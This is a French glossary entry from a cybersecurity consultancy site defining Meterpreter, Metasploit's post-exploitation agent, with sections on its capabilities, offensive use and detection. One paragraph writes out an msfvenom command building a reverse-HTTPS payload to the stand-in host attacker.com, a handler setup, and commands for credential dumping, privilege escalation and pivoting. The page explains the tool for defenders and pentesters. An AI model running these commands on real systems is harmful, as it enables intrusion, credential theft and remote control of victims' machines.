Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Meterpreter

hacking

Définition

Meterpreter est l'agent de post-exploitation avancé du Metasploit Framework, injecté en mémoire dans les processus des systèmes compromis via des exploits Metasploit. Contrairement à un simple shell inversé (reverse shell), Meterpreter est un agent complet avec des capacités étendues de post-exploitation, une communication chiffrée TLS, et une architecture de plugins extensible — tout cela sans écrire de fichier sur le disque de la cible. Meterpreter fonctionne par injection réflective : le payload Meterpreter est injecté dans un processus existant (explorer.exe, notepad.exe) via le mécanisme de reflective DLL loading, sans créer de nouveau processus ni écrire de fichier. Toutes les communications avec le C2 Metasploit (msf) sont chiffrées en TLS. Le protocol de communication est propriétaire (basé sur TLV — Type Length Value) et bidirectionnel. Les commandes Meterpreter couvrent toutes les phases de post-exploitation : système (sysinfo, getuid, getpid, ps, kill), fichiers (upload, download, edit, search), réseau (ifconfig, route, netstat, portfwd pour le port forwarding, socks pour le pivot SOCKS5), elévation de privilèges (getsystem — tente plusieurs techniques d'escalade locale), credentials (hashdump pour les hashes SAM, load kiwi pour Mimikatz intégré), persistance (run persistence pour backdoors), pivoting (route add pour le routage via la session, run auxiliary/server/socks5), et extensions (load extapi, load espia, load incognito pour la manipulation de tokens). Les extensions Meterpreter peuvent être chargées à la demande : load kiwi (Mimikatz), load mimikatz, load extapi (fonctions Windows avancées), load espia (screenshots, webcam), et load incognito (manipulation de tokens d'impersonation pour escalade de privilèges via token stealing).

Fonctionnement

Génération d'un payload Meterpreter stageless : msfvenom -p windows/x64/meterpreter_reverse_https LHOST=attacker.com LPORT=443 -f exe -o payload.exe. Handler dans msf : use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST 0.0.0.0; set LPORT 443; run -j. Commandes utiles depuis une session : getsystem (escalade), hashdump (SAM hashes), load kiwi; lsa_dump_sam, portfwd add -l 3389 -p 3389 -r internal_host (tunnel RDP vers hôte interne), run post/multi/recon/local_exploit_suggester (suggère des exploits d'escalade locaux).

Exploitation offensive

Meterpreter est l'agent de post-exploitation le plus complet pour les environnements Windows dans les pentests. Sa flexibilité (migrations de processus, port forwarding, pivoting, extensions) en fait un outil de choix. Pour des opérations plus furtives, Cobalt Strike Beacon ou Sliver sont préférés, mais Meterpreter reste standard pour les OSCP et les pentests moins exigeants en matière d'évasion.

Détection et mitigation

Meterpreter a des signatures connues dans tous les EDR majeurs — les entreprises avec un EDR configuré correctement détecteront rapidement une session Meterpreter. Les patterns de trafic (beaconing régulier vers un C2, handshake TLS caractéristique), l'injection dans des processus légitimes, et les comportements post-exploitation sont tous des IoC couverts par les règles SIGMA/Yara. En red team avancé, Meterpreter est évité au profit d'outils avec des signatures moins connues.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis